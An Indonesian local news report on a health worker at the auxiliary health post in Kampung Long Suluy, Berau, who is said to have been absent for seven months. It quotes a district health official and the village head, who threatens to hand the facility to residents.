Sudah tujuh bulan petugas kesehatan di Puskesmas Pembantu (pustu) Kampung Long Suluy, Kecamatan Kelay, diduga mangkir dari tugasnya. Mangkirnya petugas kesehatan di kampung pedalaman tersebut, juga diduga tanpa sepengetahuan pimpinan Puskesmas Kelay sebagai puskesmas induk, sebab Dinas Kesehatan (Diskes) Berau hingga kini belum pernah menerima laporan dari puskesmas induk.

“Itu harusnya yang tahu pimpinan puskesmas induknya di Kelay. Dari sana juga belum ada laporan, termasuk dari masyarakat dan pemerintah kecamatannya,” ujar Kepala Bidang Pelayanan Kesehatan, Diskes Berau Abdul Djabar Kareem kepada Berau Post, Kamis (2/3).

Menurut pria yang akrab disapa Dokter Jaka ini, bisa saja petugas kesehatan di kampung tersebut telah pindah tugas ke puskesmas lain. Sebab saat ini, sudah ada dua puskesmas pembantu baru di Kampung Long Boy dan Merapun yang bertetangga dengan Kampung Long Suluy.

“Saya takutnya yang bersangkutan sudah pindah antara di Long Boy atau Merapun. Dari Puskesmas Induknya juga belum ada lapor. Bisa ditanyakan dulu ke Pimpinan Puskesmas Induknya,” ujar Jaka.

Sebelumnya, Kepala Kampung Long Suluy Daud Jiu, mengeluhkan tenaga kesehatan yang ada di kampungnya. Dirinya menyebut, sudah tujuh bulan petugas kesehatan di puskesmas yang bertugas di kampungnya tidak pernah terlihat. Padahal di Long Suluy, petugas kesehatan sudah diberikan tempat tinggal untuk melayani masyarakat.

“Petugas kesehatan di tempat kami itu datang seperti pencuri, perginya seperti maling. Sama-sama tidak ketahuan keberadaannya,” ujarnya kesal.

Daud berharap hal seperti itu bisa menjadi perhatian Pemerintah Kabupaten (Pemkab) Berau agar pelayanan kesehatan kepada masyarakat bisa terpenuhi. Jika dalam waktu dekat tidak ada perhatian dari instansi terkait, dirinya mengancam akan menguasai rumah dinas dan puskesmas di kampungnya, untuk dijadikan permukiman masyarakat.

“Karena petugas kesehatannya tidak ada, terpaksa masyarakat kami harus ke kampung lain atau langsung ke Tanjung (Redeb) untuk berobat. Kalau memang tidak ada respons, akan saya berikan aja ke masyarakat puskesmas itu untuk dijadikan tempat tinggal,” ancamnya.

SUMBER